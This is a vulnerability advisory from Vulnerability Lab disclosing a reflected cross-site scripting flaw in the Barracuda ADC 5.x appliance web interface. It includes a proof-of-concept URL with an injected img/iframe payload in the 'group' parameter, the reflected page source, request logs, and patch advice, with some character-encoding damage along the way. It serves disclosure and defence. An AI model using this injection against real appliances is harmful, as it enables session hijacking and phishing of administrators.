Barracuda ADC 5.x Client-Side Script Insertion

`Document Title:  
===============  
Barracuda ADC 5.x - Client Side Cross Site Scripting Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1425  
  
  
Release Date:  
=============  
2018-07-10  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1425  
  
  
Common Vulnerability Scoring System:  
====================================  
3.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500a! - 1.000a!  
  
  
Product & Service Introduction:  
===============================  
Ensure Application Scalability,Performance, and Security. The Barracuda  
Load Balancer ADC is ideal for organizations looking for  
a high-performance, yet cost-effective application delivery and security  
solution. With the broadest range of hardware and virtual  
models, the Barracuda Load Balancer ADC provides maximum flexibility for  
organizations looking to build highly secure and scalable  
application infrastructure, whether itas deployed on-premises or in the  
cloud.  
  
(Copy of the Vendor Homepage:  
https://www.barracuda.com/products/loadbalancer )  
  
  
Abstract Advisory Information:  
==============================  
The Vulnerability Laboratory Research Team discovered a client-side  
cross site scripting web vulnerability in the Barracuda Networks ADC  
v5.2.0.004 appliance web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2018-07-10: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Barracuda Networks  
Product: ADC Load Balancer - Appliance Web Application 5.2.0.004  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Restricted authentication (user/moderator) - User privileges  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Bug Bounty Program  
  
  
Technical Details & Description:  
================================  
A client-side cross site scripting web vulnerability has been discovered  
in the official Barracuda Networks ADC v5.2.0.004 appliance web-application.  
The non-persistent vulnerability allows remote attackers to compromise  
session data by usage of client-side manipulated appliance  
web-application requests.  
  
The client-side input validation web vulnerability is located in the  
`group` value of the Sicherheit - Internet Muster -  
IdentitA$?tsdiebstahlsmuster module.  
Remote attackers are able to prepare malicious client-side application  
request to compromise appliance application accounts. The injection  
point of the issue  
is the vulnerable `copy|kopieren` function with the wrong encoded group  
value. The attack vector of the issue is located on the client-side of  
the service  
and the request method to execute the injected code is GET (Referer).  
The execution of the code occurs after the inject in the groupname  
context of the same site.  
  
The security risk of the non-persistent input validation web  
vulnerability is estimated as medium with a cvss (common vulnerability  
scoring system) count of 3.6.  
Exploitation of the client-side remote vulnerability requires low or  
medium user interaction and no privileged application user account.  
Successful exploitation  
results in client-side account theft by hijacking, client-side phishing,  
client-side external redirects and client-side manipulation of affected  
and connected  
appliance module web context.  
  
Request Method(s):  
[+] GET (Referer)  
  
Vulnerable Module(s):  
[+] Sicherheit - Internet Muster - IdentitA$?tsdiebstahlsmuster [Kopieren]  
(group)  
  
Vulnerable File(s):  
[+] index.cgi  
  
Vulnerable Parameter(s):  
[+] group  
  
  
Proof of Concept (PoC):  
=======================  
The client-side cross site scripting web vulnerability can be exploited  
by remote attackers and local low privileged application user account  
with low or medium user interaction.  
For security demonstration or to reproduce the security vulnerability  
follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the security vulnerability ...  
1. Open the barracuda adc web-application appliance  
2. Build a GET method request with the vulnerable location and payload  
3. Open poc payload as test to approve the existance of the issue  
Note: You can parallel open the Sicherheit > Internet Muster >  
IdentitA$?tsdiebstahlsmuster [Kopieren] module to preview the executable  
function source  
4. The payload executes in the web module context via group parameter  
4. Successful reproduce of the non-persistent security vulnerability!  
  
  
Vulnerable Module(s): Sicherheit > Internet Muster >  
IdentitA$?tsdiebstahlsmuster [Kopieren] (group)  
Request Method(s): GET  
  
  
PoC: Exploitation  
http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&  
content_only=1&group=%22%3E%3C%22%3Cimg%20src=%22evil.source%22%3E%20%20%3E%22%3Ciframe%20src=evil.source%3E%20%3Ciframe%3E[CLIENT-SIDE  
INJECTED SCRIPT CODE!]&  
locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=  
guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500  
  
  
PoC: Source  
<div id="copy_internal_attack_patterns" class="cui-page-module page_module">  
﷐<div class="cui-page-module-inner">   
<div class="page_module_frontdrop"></div>  
<div class="form_legend">Kopieren</div>  
<div class="message"></div>   
<div class="buttons">  
<div class="status"><div class="error"></div>  
<div class="spinner"></div>  
</div><a  
href="javascript:open_popup_window('/cgi-mod/view_help.cgi?password=6000363058457f07162f12e1f775c664&et=1422221332&auth_type=Local&locale=de_DE&realm=&  
screen=view_internal_patterns&title=Kopieren&transcreen=5317&user=guest#Kopieren');"  
class="module_help_button">Hilfe</a></div>   
<dl id="none" class="cui-dl " data-info="">   
<dt class="cui-dt">  
<b>Von</b>  
</dt>  
<dd class="cui-dd">  
<div class="cui-group-info">  
<div class="cui-group-error">  
</div>  
</dd>  
</dl>  
<dl id="none" class="cui-dl " data-info="">  
<dt class="cui-dt">  
Gruppenname  
</dt>  
<dd class="cui-dd">  
"><"<img src="evil.source"> >"<iframe src="evil.source">  
[NON-PERSISTENT SCRIPT CODE PAYLOAD EXECUTION!]cross-site-scripting  
<div class="cui-group-info">  
</div>  
<div class="cui-group-error">  
</div>  
</dd>  
</dl>  
<dl id="none" class="cui-dl " data-info="" >  
<dt class="cui-dt"><B>Bis/nach/auf/zu</B>  
</dt><dd class="cui-dd">  
<div class="cui-group-info">  
</div><div class="cui-group-error">  
</div>  
</dd>  
</dl><dl id="none" class="cui-dl " data-info="Erstellt unter  
<b>Bibliotheken > Angriffstypen</b> eine neue Gruppe mit allen Mustern  
der obenstehenden Gruppe." >  
  
  
  
--- PoC Session Logs [GET] (Inject & Execute) ---  
Status: 200[OK]  
GET  
http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT  
INJECTED SCRIPT CODE  
PAYLOAD!]cross-site-scripting-strict&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500  
  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html; charset=utf-8]  
Connection[keep-alive]  
Set-Cookie[_ga=GA1.2.608616028.1422207688; path=/ _gat=1; path=/]  
Content-Length[16603]  
Cache-Control[no-cache, no-store, max-age=0]  
Pragma[no-cache]  
X-Frame-Options[SAMEORIGIN]  
-  
Status: 500[Internal Server Error]  
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT  
CODE EXECUTION!]  
Load Flags[LOAD_NORMAL] GrAPAe des Inhalts[1949]  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
Accept[image/png,image/*;q=0.8,*/*;q=0.5]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT  
INJECTED SCRIPT CODE  
PAYLOAD!]cross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html]  
Content-Length[1949]  
Connection[close]  
-  
Status: 500[Internal Server Error]  
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT  
CODE EXECUTION!]  
Load Flags[LOAD_DOCUMENT_URI ] GrAPAe des Inhalts[1949]  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT  
INJECTED SCRIPT CODE  
PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html]  
Content-Length[1949]  
Connection[close]  
-  
Status: 500[Internal Server Error]  
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT  
CODE EXECUTION!]  
Load Flags[LOAD_NORMAL] GrAPAe des Inhalts[1949]  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
Accept[image/png,image/*;q=0.8,*/*;q=0.5]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT  
INJECTED SCRIPT CODE  
PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html]  
Content-Length[1949]  
Connection[close]  
-  
Status: 500[Internal Server Error]  
GET http://adc.localhost:8080/cgi-mod/evil.source[CLIENT SIDE SCRIPT  
CODE EXECUTION!]  
Mime Type[text/html]  
Request Header:  
Host[adc.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0)  
Gecko/20100101 Firefox/35.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
  
Referer[http://adc.localhost:8080/cgi-mod/index.cgi?password=48c669c1112b5fd89648930d335f0d8b&et=1422221302&auth_type=Local&content_only=1&group=evil.source[NON-PERSISTENT  
INJECTED SCRIPT CODE  
PAYLOAD!]%3Ecross-site-scripting&locale=de_DE&new_secondary_tab=view_internal_patterns&primary_tab=SECURITY&realm=&secondary_tab=copy_internal_attack_patterns&user=guest&ispopup=1&parent_name=libraries496409&popup_width=725&popup_height=500]  
Cookie[_ga=GA1.2.608616028.1422207688;  
_ga=GA1.2.608616028.1422207688; _gat=1]  
Connection[keep-alive]  
Response Header:  
Server[BarracudaHTTP 4.0]  
Content-Type[text/html]  
Content-Length[1949]  
Connection[close]  
  
  
Reference(s):  
http://adc.localhost:8080/  
http://adc.localhost:8080/cgi-mod/  
http://adc.localhost:8080/cgi-mod/index.cgi  
http://adc.localhost:8080/cgi-mod/index.cgi?password=  
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x  
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local  
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local&content_only=  
http://adc.localhost:8080/cgi-mod/index.cgi?password=x&et=x&auth_type=Local&content_only=1&group=  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a parse and encode of the vulnerable  
group value in the copy|kopieren module GET method request.  
Restrict the input and disallow the usage of special chars to prevent  
client-side script code injection attacks.  
Implement a secure exception-handling to prevent client-side script code  
injection attacks.  
  
Note: The issue has been reported in 2016 Q4 (2016-10-01) and was  
finally resolved in 2017 Q3 - Q4 by the barracuda networks  
developer team in all appliance series.  
  
  
Security Risk:  
==============  
The security risk of the non-persistent input validation web  
vulnerability in the barracuda networks adc appliance web-application is  
estimated as medium (CVSS 3.6).  
  
  
Credits & Authors:  
==================  
Benjamin K.M. -  
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties, either  
expressed or  
implied, including the warranties of merchantability and capability for  
a particular purpose. Vulnerability-Lab or its suppliers are not liable  
in any  
case of damage, including direct, indirect, incidental, consequential  
loss of business profits or special damages, even if Vulnerability Labs  
or its  
suppliers have been advised of the possibility of such damages. Some  
states do not allow the exclusion or limitation of liability mainly for  
incidental  
or consequential damages so the foregoing limitation may not apply. We  
do not approve or encourage anybody to break any licenses, policies, deface  
websites, hack into databases or trade with stolen data. We have no need  
for criminal activities or membership requests. We do not publish  
advisories  
or vulnerabilities of religious-, militant- and racist-  
hacker/analyst/researcher groups or individuals. We do not publish trade  
researcher mails,  
phone numbers, conversations or anything else to journalists,  
investigative authorities or private individuals.  
  
Domains: www.vulnerability-lab.com - www.vulnerability-db.com -  
www.evolution-sec.com  
Programs: vulnerability-lab.com/submit.php -  
vulnerability-lab.com/list-of-bug-bounty-programs.php -  
vulnerability-lab.com/register.php  
Feeds: vulnerability-lab.com/rss/rss.php -  
vulnerability-lab.com/rss/rss_upcoming.php -  
vulnerability-lab.com/rss/rss_news.php  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab -  
youtube.com/user/vulnerability0lab  
  
Any modified copy or reproduction, including partially usages, of this  
file, resources or information requires authorization from Vulnerability  
Laboratory.  
Permission to electronically redistribute this alert in its unmodified  
form is granted. All other rights, including the use of other media, are  
reserved by  
Vulnerability Lab Research Team or its suppliers. All pictures, texts,  
advisories, source code, videos and other information on this website is  
trademark  
of vulnerability-lab team & the specific authors or managers. To record,  
list, modify, use or edit our material contact (admin@) to get an ask  
permission.  
  
Copyright A(c) 2018 | Vulnerability Laboratory - [Evolution  
Security GmbH]aC/  
  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
`